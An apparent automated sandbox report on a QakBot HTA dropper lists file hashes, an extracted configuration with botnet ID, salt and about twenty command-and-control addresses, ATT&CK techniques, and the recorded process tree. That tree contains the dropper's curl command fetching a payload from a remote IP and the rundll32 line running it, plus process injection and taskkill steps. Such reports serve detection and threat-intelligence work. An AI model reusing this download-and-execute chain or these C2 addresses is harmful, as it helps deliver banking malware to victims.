qakbot | 4ed16497feaa7bbd98b485d057bf25cb3f24132c6a9f52d4c7b838e6a7f5f761

Resubmissions

03/02/2023, 18:04

230203-wnx46abh7w 7

03/02/2023, 18:03

230203-wnhz8sgd94 10

03/02/2023, 14:58

230203-sb7w2sfg77 7

Analysis

max time kernel
150s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
03/02/2023, 18:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DocumentsFolder_729396_Feb_03.one_2.hta
Size

5KB
MD5

9367d6f27ef13ffcc8c86ea9c28c3dbf
SHA1

4fe41d2d96f8ecddc2830c2a27aef22419c1509b
SHA256

4ed16497feaa7bbd98b485d057bf25cb3f24132c6a9f52d4c7b838e6a7f5f761
SHA512

09ae3e11d24a5485782a244ae4073b126757ba29a04f8f82ed6126f0a4e8f6bcb19b55229a9f23f190d48373669433fbf9e6af9fea6ae50895a2aea6a99e4c94
SSDEEP

96:IhVxy8VC+iNVCv38RGynB8xVpA8oVCynBu9cEAGfPE3rFSEnzAINLuClhkeXbZkh:1gPoWkJuClhkeqH

Score

10^/10

qakbot obama236 1675410243 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

404.432

Botnet

obama236

Campaign

1675410243

79.9.64.37:995

174.104.184.149:443

24.64.112.40:3389

81.151.102.224:443

47.34.30.133:443

86.250.12.217:2222

50.68.204.71:993

156.217.208.137:995

181.118.206.65:995

103.212.19.254:995

83.114.60.6:2222

90.23.19.86:2222

66.131.25.6:443

12.172.173.82:465

86.195.14.72:2222

184.153.132.82:443

91.170.115.68:32100

72.80.7.6:995

71.31.101.183:443

198.2.51.242:993

Attributes

salt
SoNuce]ugdiB3c[doMuce2s81*uXmcvP

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 3 IoCs

pid	Process
2724	rundll32.exe
2724	rundll32.exe
2724	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
3888	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2724	rundll32.exe
2724	rundll32.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe
2128	wermgr.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2724	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3888	taskkill.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4980 wrote to memory of 444	4980	mshta.exe	84
PID 4980 wrote to memory of 444	4980	mshta.exe	84
PID 4980 wrote to memory of 444	4980	mshta.exe	84
PID 4980 wrote to memory of 2724	4980	mshta.exe	92
PID 4980 wrote to memory of 2724	4980	mshta.exe	92
PID 4980 wrote to memory of 2724	4980	mshta.exe	92
PID 4980 wrote to memory of 3888	4980	mshta.exe	93
PID 4980 wrote to memory of 3888	4980	mshta.exe	93
PID 4980 wrote to memory of 3888	4980	mshta.exe	93
PID 2724 wrote to memory of 1660	2724	rundll32.exe	95
PID 2724 wrote to memory of 1660	2724	rundll32.exe	95
PID 2724 wrote to memory of 1660	2724	rundll32.exe	95
PID 2724 wrote to memory of 2128	2724	rundll32.exe	96
PID 2724 wrote to memory of 2128	2724	rundll32.exe	96
PID 2724 wrote to memory of 2128	2724	rundll32.exe	96
PID 2724 wrote to memory of 2128	2724	rundll32.exe	96
PID 2724 wrote to memory of 2128	2724	rundll32.exe	96

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\DocumentsFolder_729396_Feb_03.one_2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4980
- C:\Windows\SysWOW64\curl.exe
  "C:\Windows\System32\curl.exe" --output C:\ProgramData\aMqKd.png --url http://45.8.191.141/80567.dat
  2⤵
  PID:444
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\ProgramData\aMqKd.png,Wind
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\SysWOW64\wermgr.exe
    C:\Windows\SysWOW64\wermgr.exe
    3⤵
    PID:1660
- - C:\Windows\SysWOW64\wermgr.exe
    C:\Windows\SysWOW64\wermgr.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2128
- C:\Windows\SysWOW64\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im mshta.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\aMqKd.png

Filesize
1.7MB

MD5
34b7dfe6ca2d3996915cb538df6f2876

SHA1
aab8372031ca4c36ca41b70c7b36bc12d7de1f99

SHA256
b4eb4929936981f3c05505c7a8ea6b506a21b2bff3d14ec9276f38996450b7a5

SHA512
9d662dc7150eca82cdd56d6a17be4a7f1f6949ce7f4737797f271a2696ce569d471691ef78c30d50b42af372e3802d6c2f46ea3ca6f6a28a73ca7df98191dc73

Download Submit
C:\ProgramData\aMqKd.png

Filesize
1.7MB

MD5
34b7dfe6ca2d3996915cb538df6f2876

SHA1
aab8372031ca4c36ca41b70c7b36bc12d7de1f99

SHA256
b4eb4929936981f3c05505c7a8ea6b506a21b2bff3d14ec9276f38996450b7a5

SHA512
9d662dc7150eca82cdd56d6a17be4a7f1f6949ce7f4737797f271a2696ce569d471691ef78c30d50b42af372e3802d6c2f46ea3ca6f6a28a73ca7df98191dc73

Download Submit
C:\Users\Admin\AppData\Local\Temp\3F9614FB.dll

Filesize
2.1MB

MD5
f530495445432d6ae00f2b0f08f7c804

SHA1
f66f538b95b1a924c8392fbe7743d193d78eb50c

SHA256
5cc51f26704eef3b59e6d33ea690fa5c62237627269493ead5bad6f71d2de07b

SHA512
2b44ed622e63014a0d2d613d8bbc1548dd193460ce7711414dc4eb62a2aef69d57c9821f834555539b6a49f584cb46c5e82a9867ab0a0733d78e4f1d032d6ce8

Download Submit
C:\Users\Admin\AppData\Local\Temp\A8D175DE.dll

Filesize
2.1MB

MD5
f530495445432d6ae00f2b0f08f7c804

SHA1
f66f538b95b1a924c8392fbe7743d193d78eb50c

SHA256
5cc51f26704eef3b59e6d33ea690fa5c62237627269493ead5bad6f71d2de07b

SHA512
2b44ed622e63014a0d2d613d8bbc1548dd193460ce7711414dc4eb62a2aef69d57c9821f834555539b6a49f584cb46c5e82a9867ab0a0733d78e4f1d032d6ce8

Download Submit
memory/2128-145-0x0000000000E00000-0x0000000000E23000-memory.dmp

Filesize
140KB

Download
memory/2128-146-0x0000000000E00000-0x0000000000E23000-memory.dmp

Filesize
140KB

Download
memory/2724-136-0x0000000000DA0000-0x0000000000DC3000-memory.dmp

Filesize
140KB

Download